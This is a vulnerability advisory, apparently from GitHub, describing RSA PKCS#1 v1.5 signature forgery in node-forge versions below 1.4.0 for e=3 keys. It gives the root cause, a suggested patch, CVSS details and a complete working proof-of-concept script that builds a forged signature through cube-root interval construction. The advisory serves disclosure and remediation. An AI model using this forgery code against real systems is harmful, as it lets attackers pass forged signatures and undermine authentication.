Forge has signature forgery in RSA-PKCS due to ASN.1 extra field

Description

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:
- Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
- _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

  1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
  2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

  1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
  3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
  4. The script verifies both signatures with:
    - forge verify (_parseAllDigestBytes: true), and
    - Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
  5. Confirm output includes:
    - control-forge-strict: true
    - control-node: true
    - forgery (forge library, strict): true
    - forgery (node/OpenSSL): false

Proof of Concept

Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:

control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false

<details><summary>repro_min.js</summary>

#!/usr/bin/env node
&#x27;use strict&#x27;;

const crypto = require(&#x27;crypto&#x27;);
const forge = require(&#x27;./forge/lib/index&#x27;);

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING &lt;32-byte digest&gt;
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  &#x27;300d060960864801650304020105000420&#x27;,
  &#x27;hex&#x27;
);

const toBig = b =&gt; BigInt(&#x27;0x&#x27; + (b.toString(&#x27;hex&#x27;) || &#x27;0&#x27;));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = &#x27;0&#x27; + h;
  const b = Buffer.from(h, &#x27;hex&#x27;);
  return b.length &lt; len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi &lt;= n) hi &lt;&lt;= 1n;
  while (lo + 1n &lt; hi) {
    const mid = (lo + hi) &gt;&gt; 1n;
    if (mid * mid * mid &lt;= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n =&gt; {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len &lt; 0x80) return Buffer.from([len]);
  if (len &lt;= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len &gt;&gt; 8) &amp; 0xff, len &amp; 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString(&#x27;utf8&#x27;), &#x27;utf8&#x27;);
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined =&gt; default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge&#x27;s default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString(&#x27;binary&#x27;), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync(&#x27;rsa&#x27;, {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: &#x27;pkcs1&#x27;, format: &#x27;pem&#x27; },
    publicKeyEncoding: { type: &#x27;pkcs1&#x27;, format: &#x27;pem&#x27; }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: &#x27;jwk&#x27; });
  const nBytes = Buffer.from(jwk.n, &#x27;base64url&#x27;);
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, &#x27;base64url&#x27;));
  if (e !== 3n) throw new Error(&#x27;expected e=3&#x27;);

  const msg = Buffer.from(&#x27;forged-message-0&#x27;, &#x27;utf8&#x27;);
  const digest = crypto.createHash(&#x27;sha256&#x27;).update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (&lt;128, &lt;=255, &lt;=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i &lt; 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n &lt;&lt; BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s &gt; cbrtFloor(high - 1n) || s &gt;= n) throw new Error(&#x27;no candidate in interval&#x27;);

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from(&#x27;control-message&#x27;, &#x27;utf8&#x27;);
  const controlSig = crypto.sign(&#x27;sha256&#x27;, controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify(&#x27;sha256&#x27;, controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify(&#x27;sha256&#x27;, msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log(&#x27;control-forge-strict:&#x27;, controlForge.ok, controlForge.err || &#x27;&#x27;);
  console.log(&#x27;control-node:&#x27;, controlNode);
  console.log(&#x27;forgery (forge library, strict):&#x27;, forgedForge.ok, forgedForge.err || &#x27;&#x27;);
  console.log(&#x27;forgery (node/OpenSSL):&#x27;, forgedNode);
}

main();

</details>

Suggested Patch

  • Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS &gt;= 8) in _decodePkcs1_v1_5 before accepting the block.
  • Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              &#x27;DigestInfo ASN.1 object must contain exactly 2 fields for &#x27; +
+              &#x27;a valid RSASSA-PKCS1-v1_5 package.&#x27;);
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum &lt; 8) {
+      throw new Error(&#x27;Encryption block is invalid.&#x27;);
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

  • RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
  • > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
  • RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
  • lib/rsa.js key.verify(...) at lines ~1139-1223.
  • lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-26 22:02:35 UTC
Updated
2026-03-29 21:41:48 UTC
GitHub reviewed
2026-03-26 22:02:35 UTC
NVD published
2026-03-27 21:17:25 UTC

EPSS Score

Score Percentile
0.04% 12.31%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-20 Improper Input Validation
CWE-347 Improper Verification of Cryptographic Signature

Credits

  • corbanvilla (finder)
  • dderpym (finder)
  • soh3e (finder)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm node-forge < 1.4.0 1.4.0

References

cvelogic Threat Intelligence